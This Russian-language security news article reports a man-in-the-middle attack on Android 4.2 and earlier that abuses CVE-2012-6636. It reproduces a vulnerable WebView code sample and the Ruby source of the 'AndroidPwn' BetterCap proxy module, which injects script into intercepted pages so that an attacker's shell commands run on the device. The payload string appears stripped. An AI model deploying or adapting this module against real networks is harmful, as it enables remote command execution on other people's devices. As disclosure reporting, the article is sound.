Обнаружен новый способ осуществления MitM-атаки на Android-устройства

Обнаружен новый способ осуществления MitM-атаки на Android-устройства

Устройства под управлением ОС Android 4.2 и более ранних версий могут быть скомпрометированы.

Исследователь безопасности Симон Маргарителли (Simone Margaritelli) обнаружил способ атаки на операционную систему Android (устаревшие версии), позволяющий скомпрометировать любое устройство под управлением устаревшей версии мобильной ОС. Используя исправленную в 2012 году уязвимость и ПО для осуществления атак «человек посередине» BetterCap, злоумышленник может выполнить произвольные команды на устройстве.

В ходе атаки необходимо проэксплуатировать уязвимость CVE-2012-6636. Ошибка позволяет выполнить произвольные команды через приложение, использующее элементы управления интерфейсом на WebView и декларирующее собственный JavaScript-интерфейс с помощью следующего кода:

public class WebViewGUI extends Activity {
    WebView mWebView;
    public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      mWebView=new WebView(this);
      mWebView.getSettings().setJavaScriptEnabled(true);
      mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
      mWebView.loadUrl("file:///android_asset/www/index.html");
      setContentView(mWebView);
    }
  
    final class JavaScriptInterface {
      JavaScriptInterface () { }
      public String getSomeString() {
        return "string";
      }
    }
  }
  
.

Удаленный пользователь может вставить специально сформированный JavaScript-сценарий в страницу. Запуск скрипта позволит выполнить произвольные команды.

Исследователь написал прокси-модуль AndroidPwn, позволяющий в автоматическом режиме осуществлять атаки «человек посередине» против всех устройств, находящихся в сети. Разработка специалиста также использует BetterCap – специализированное ПО для автоматического осуществления подобных атак. Код модуля представлен ниже:

class AndroidPwn < BetterCap::Proxy::Module  
    @@command = nil
    @@payload = ""
  
    def self.on_options(opts)
      opts.separator ""
      opts.separator "AndroidPwn Proxy Module Options:"
      opts.separator ""
  
      opts.on( '--command STRING', 'Shell command(s) to execute.' ) do |v|
        @@command = v.strip
        @@payload['COMMAND_HERE'] = @@command.gsub( "'", "\\\\'" )
      end
    end
  
    def initialize
      raise BetterCap::Error, "No --command option specified for the proxy module." if @@command.nil?
    end
  
    def on_request( request, response )
      if is_exploitable?( request, response )
        BetterCap::Logger.info ""
        BetterCap::Logger.info "Pwning Android Device :".red
        BetterCap::Logger.info "  URL    : http://#{request.host}#{request.url}"
        BetterCap::Logger.info "  AGENT  : #{request.headers['User-Agent']}"
        BetterCap::Logger.info ""
  
        response.body.sub!( '', "#{@@payload}" )
      end
    end
  
    private
  
    def is_exploitable?(req,res)
      req.headers.has_key?('User-Agent') and \
      req.headers['User-Agent'].include?("Android") and \
      req.headers['User-Agent'].include?("AppleWebKit") and \
      res.content_type =~ /^text\/html.*/ and \
      res.code == '200'
    end
  end
  
Модуль автоматически осуществляет атаки «человек посередине» на все устройства под управлением Android 4.2 в сети под контролем злоумышленника. AndroidPwn позволяет выборочно компрометировать выбранные устройства.

Единственным способом защититься от атак с применением AndroidPwn является обновление до более современной версии Android. В настоящее время Android 4.2 и более ранние версии используются на 27,1% всех мобильных устройств, где установлена данная ОС.


Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!